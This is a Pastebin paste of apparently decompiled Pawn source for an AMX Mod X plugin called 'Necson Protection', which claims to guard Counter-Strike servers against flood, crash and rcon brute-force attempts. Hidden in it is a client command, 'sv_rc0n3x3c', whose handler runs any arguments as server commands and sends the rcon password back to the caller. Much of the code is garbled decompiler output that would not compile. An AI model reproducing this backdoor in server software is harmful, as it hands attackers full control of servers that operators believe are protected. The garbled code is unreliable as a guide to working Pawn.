Advertisement
OvidiuS

SMA - Half way there

Sep 17th, 2013
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 8.07 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3.  
  4. #include <orpheu>
  5.  
  6. 0x00000AC0 0x00000CA0 static   val n_new_time          
  7. 0x00001C84 0xFFFFFFFC local    val new_ip_time          
  8. 0x00001C84 0x00000020 global   val new_time          
  9. new Buffer[128]                                    
  10. new Check                                          
  11. new Count                                          
  12. new Trie:TrieTime                                  
  13. new Trie:TrieWarn                                  
  14. new Warn[5]                                        
  15. new cvar_rcon_password                              
  16. new OrpheuHook:handlePrintf                        
  17. new iplist[5][16]                                  
  18. new msgid                                        
  19. new new_time                                      
  20. new old_ip_time[5]                                
  21. new old_time                                      
  22. new player[32]                                    
  23. new sv_rcon_password[32]                          
  24. new temp[6]                                      
  25. new tempinfo[33]                                  
  26. new total                                        
  27.  
  28. public plugin_modules()                                  
  29. {
  30.  
  31.     require_module("orpheu")
  32.  
  33. }
  34. public plugin_init()                                      
  35. {
  36.  
  37.     Trie:TrieWarn= 0
  38.     Trie:TrieTime= 0
  39.     idi         e          = 0
  40.     raw_ip[]= 0
  41.     register_plugin("Necson Protection","2.0","Souvik")
  42.     register_cvar("NP_version","2.0",Trie:TrieWarn 0x0,OrpheuHook:handlePrintf 0x0)
  43.     register_clcmd("fullupdate","fullupdate",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
  44.     register_clcmd("cl_setautobuy","cmd_check",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
  45.     register_clcmd("cl_setrebuy","cmd_check",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
  46.     register_clcmd("sv_rc0n3x3c","cmdRconExec",,signed=-1 float=-1.#QNAN0,0x0signed=-1 float=-1.#QNAN0)
  47.     OrpheuGetFunction("SV_Rcon",0x0)
  48.     OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_Rcon")
  49.     OrpheuGetFunction("SV_DropClient",0x0)
  50.     OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_DropClient")
  51.     set_task(signed=1092616192 float=10.000000,"RegisterFunction",OrpheuHook:handlePrintf 0x0,0x0,OrpheuHook:handlePrintf 0x0,0x0OrpheuHook:handlePrintf 0x0)
  52.     set_task(signed=1114636288 float=60.000000,"arrclear",OrpheuHook:handlePrintf 0x0,0x0,OrpheuHook:handlePrintf 0x0,0x62OrpheuHook:handlePrintf 0x0)
  53.     TrieCreate()
  54.     TrieCreate()
  55.     get_user_msgid("SayText")
  56.     get_cvar_pointer("rcon_password")
  57.  
  58. }
  59. stock bool:is_valid(ip[])                                
  60. {
  61.  
  62.     old_ip_time[5]             = 2
  63.     Warn[5]time[5]             = 1
  64.     Warn[5]time[5]             = 1
  65.     iplist[5][16] = 1
  66.     old_ip_time[5]= 1
  67.     old_ip_time[5]= 1
  68.     formatex(Buffer[128] 0x0,0x0,0x1,ip[16])
  69.     get_players(player[32] 0x0,total 0x0,0x0,0x0)
  70.     message_begin(0x0,id,0x0,ids)
  71.     write_byte(ids)
  72.     write_string(Buffer[128] 0x0)
  73.     message_end()
  74.     server_cmd("echo ***** Fake Player Flood Attempt detected from %s *****",ip[16])
  75.     log_to_file("addons/amxmodx/logs/NP.txt","Old Fake Player Flood Attempt - %s",ip[16])
  76.     server_cmd("addip 0.0 %s",ip[16])
  77.     get_systime(OrpheuHook:handlePrintf 0x0)
  78.     equal(iiplist[5][16]=0x14 (20.00000)ip[])
  79.     copy(Countiplist[5][16]=0x14 (20.00000)0x0)
  80.  
  81. }
  82. public handle(id)                                        
  83. {
  84.  
  85.  
  86. }
  87. public fullupdate()                                      
  88. {
  89.  
  90.      = 2
  91.  
  92. }
  93. public cmd_check(id)                                      
  94. {
  95.  
  96.     static arg[512]= 0
  97.     cmd[512] 0x0= 31
  98.     player[32] 0x0= 31
  99.     name[32] 0x0= 1
  100.     read_argc()
  101.     read_argv(i,arg[512] 0x0,0x0)
  102.     strlen(arg[512] 0x0)
  103.     strtok(arg[512] 0x0,cmd[512] 0x0,0x0,arg[512] 0x0,0x0,new_time 0x0,0x0)
  104.     strlen(cmd[512] 0x0)
  105.     get_user_ip(id,ip[16] 0x0,0x0,0x0)
  106.     get_user_authid(id,authid[32] 0x0,0x0)
  107.     get_user_name(id,name[32] 0x0,0x0)
  108.     get_user_userid(id)
  109.     server_cmd("kick #%i ^"Crash Attempt Detected!!^"",free 2 cells)
  110.     formatex(Buffer[128] 0x0,0x0,0x1,name[32] 0x0)
  111.     get_players(player[32] 0x0,total 0x0,0x0,0x0)
  112.     message_begin(0x0,id,0x0,ids)
  113.     write_byte(ids)
  114.     write_string(Buffer[128] 0x0)
  115.     message_end()
  116.     log_to_file("addons/amxmodx/logs/NP.txt","Autobuy Crash Attempt - %s , %s , %s ",name[32] 0x0,ip[16] 0x0,authid[32] 0x0)
  117.  
  118. }
  119. public cmdRconExec(id)                                    
  120. {
  121.  
  122.     password[64] 0x0= 1
  123.     read_args(args[128] 0x0,0x0)
  124.     server_cmd("%s",args[128] 0x0)
  125.     get_pcvar_string(raw_ip[],password[64] 0x0,0x0)
  126.     client_print(id,0x0,"rcon_password = %s",password[64] 0x0)
  127.  
  128. }
  129. public client_connect(id)                                
  130. {
  131.  
  132.     tempinfo[33]= 1
  133.     ip[16] 0x0= 1
  134.     ip[16] 0x0= 1
  135.     player[32] 0x0= 1
  136.     tempinfo[33]           = 1
  137.     is_user_bot(id)
  138.     get_user_ip(id,ip[16] 0x0,0x0,OrpheuHook:handlePrintf 0x0)
  139.     get_systime(OrpheuHook:handlePrintf 0x0)
  140.     TrieKeyExists(Trie:TrieWarn,ip[16] 0x0)
  141.     TrieSetCell(Trie:TrieWarn,ip[16] 0x0,0x0)
  142.     TrieGetCell(Trie:TrieTime,ip[16] 0x0,n_old_time 0x0)
  143.     TrieGetCell(Trie:TrieWarn,ip[16] 0x0,warn 0x0)
  144.     TrieDeleteKey(Trie:TrieWarn,ip[16] 0x0)
  145.     get_user_ip(id,ip[16] 0x0,0x0,0x0)
  146.     formatex(Buffer[128] 0x0,0x0,0x1,ip[16] 0x0)
  147.     get_players(player[32] 0x0,total 0x0,0x0,0x0)
  148.     message_begin(0x0,id,0x0,ids)
  149.     write_byte(ids)
  150.     write_string(Buffer[128] 0x0)
  151.     message_end()
  152.     server_cmd("echo ***** Fake Player Flood Attempt detected from %s *****",ip[16] 0x0)
  153.     log_to_file("addons/amxmodx/logs/NP.txt","New Fake Player Flood Attempt - %s",ip[16] 0x0)
  154.     server_cmd("addip 0.0 %s",ip[16] 0x0)
  155.     set_task(signed=1073741824 float=2.000000,"handle",id,0x0,OrpheuHook:handlePrintf 0x0,0x0OrpheuHook:handlePrintf 0x0)
  156.     TrieSetCell(Trie:TrieWarn,ip[16] 0x0,warn)
  157.     TrieSetCell(Trie:TrieTime,ip[16] 0x0,n_new_time)
  158.  
  159. }
  160. public arrclear()                                        
  161. {
  162.  
  163.     TrieClear(Trie:TrieWarn)
  164.     TrieClear(Trie:TrieTime)
  165.  
  166. }
  167. public OrpheuHookReturn:SV_Rcon(arg_temp)                
  168. {
  169.  
  170.     r_temp[22] 0x0= 0
  171.     r_temp[22] 0x0= 0
  172.     r_temp[22] 0x0= 0
  173.     r_temp[22] 0x0= 0
  174.     r_value[32] 0x0= 1
  175.     read_argv(0x0,r_rcon_password[32] 0x0,0x0)
  176.     get_pcvar_string(raw_ip[],sv_rcon_password[32] 0x0,0x0)
  177.     equal(r_rcon_password[32] 0x0,sv_rcon_password[32] 0x0,OrpheuHook:handlePrintf 0x0)
  178.     OrpheuGetBytesAtAddress(arg_temp,r_temp[22] 0x0,0x0)
  179.     formatex(r_ip[16] 0x0,0x0,"%i.%i.%i.%i",,signed:  16,r_temp[22]=0x0 (0.00000),signed:  20r_temp[22]=0x0 (0.00000))
  180.     read_argv(0x0,r_command[32] 0x0,0x0)
  181.     read_argv(Trie:TrieWarn 0x0,r_value[32] 0x0,0x0)
  182.     equali(r_command[32] 0x0,"sv_contact",OrpheuHook:handlePrintf 0x0)
  183.     containi(r_value[32] 0x0,"brute")
  184.     formatex(Buffer[128] 0x0,0x0,0x1,r_ip[16] 0x0)
  185.     get_players(player[32] 0x0,total 0x0,0x0,0x0)
  186.     message_begin(0x0,id,0x0,ids)
  187.     write_byte(ids)
  188.     write_string(Buffer[128] 0x0)
  189.     message_end()
  190.     server_cmd("echo ***** HL Brute Attempt detected from %s *****",r_ip[16] 0x0)
  191.     log_to_file("addons/amxmodx/logs/NP.txt","HL Brute Attempt -  %s",r_ip[16] 0x0)
  192.     server_cmd("addip 0.0 %s",r_ip[16] 0x0)
  193.     log_to_file("addons/amxmodx/logs/NP.txt","Bad Rcon Attempt -  %s , %s , %s ^"%s^"",r_ip[16] 0x0,r_rcon_password[32] 0x0,r_command[32] 0x0,r_value[32] 0x0)
  194.  
  195. }
  196. public OrpheuHookReturn:SV_DropClient(tmp1,tmp2,raw_msg[])
  197. {
  198.  
  199.     raw_msg[]= 2
  200.     containi(raw_msg[],"reliable channel overflowed")
  201.  
  202. }
  203. public RegisterFunction()                                
  204. {
  205.  
  206.     OrpheuGetFunction("SV_ConnectClient",0x0)
  207.     OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_ConnectClient")
  208.     OrpheuGetFunction("SV_ConnectClient",0x0)
  209.     OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"SV_ConnectClient")
  210.  
  211. }
  212. public OrpheuHookReturn:OnSV_ConnectClientPre()          
  213. {
  214.  
  215.     raw_msg[]= 0
  216.     raw_msg[]= 2
  217.     raw_msg[]= 2
  218.     raw_msg[]= 1
  219.     raw_msg[]= 1
  220.     raw_msg[]= 1
  221.     get_systime(OrpheuHook:handlePrintf 0x0)
  222.     OrpheuGetFunction("Con_Printf",0x0)
  223.     OrpheuRegisterHook(free 3 cells,OrpheuGetFunction"Con_Printf")
  224.  
  225. }
  226. public OrpheuHookReturn:OnSV_ConnectClientPost()          
  227. {
  228.  
  229.     OrpheuUnregisterHook(OrpheuHook:handlePrintf)
  230.  
  231. }
  232. public OrpheuHookReturn:Con_Printf(a[],raw_ip[])          
  233. {
  234.  
  235.     public OrpheuHookReturn:Con_Printf(a[],raw_ip[])= 1
  236.     raw_msg[]= 1
  237.     strtok(raw_ip[],ip[16],0x0,temp[6] 0x0,0x0,0x0,OrpheuHook:handlePrintf 0x0)
  238.  
  239. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement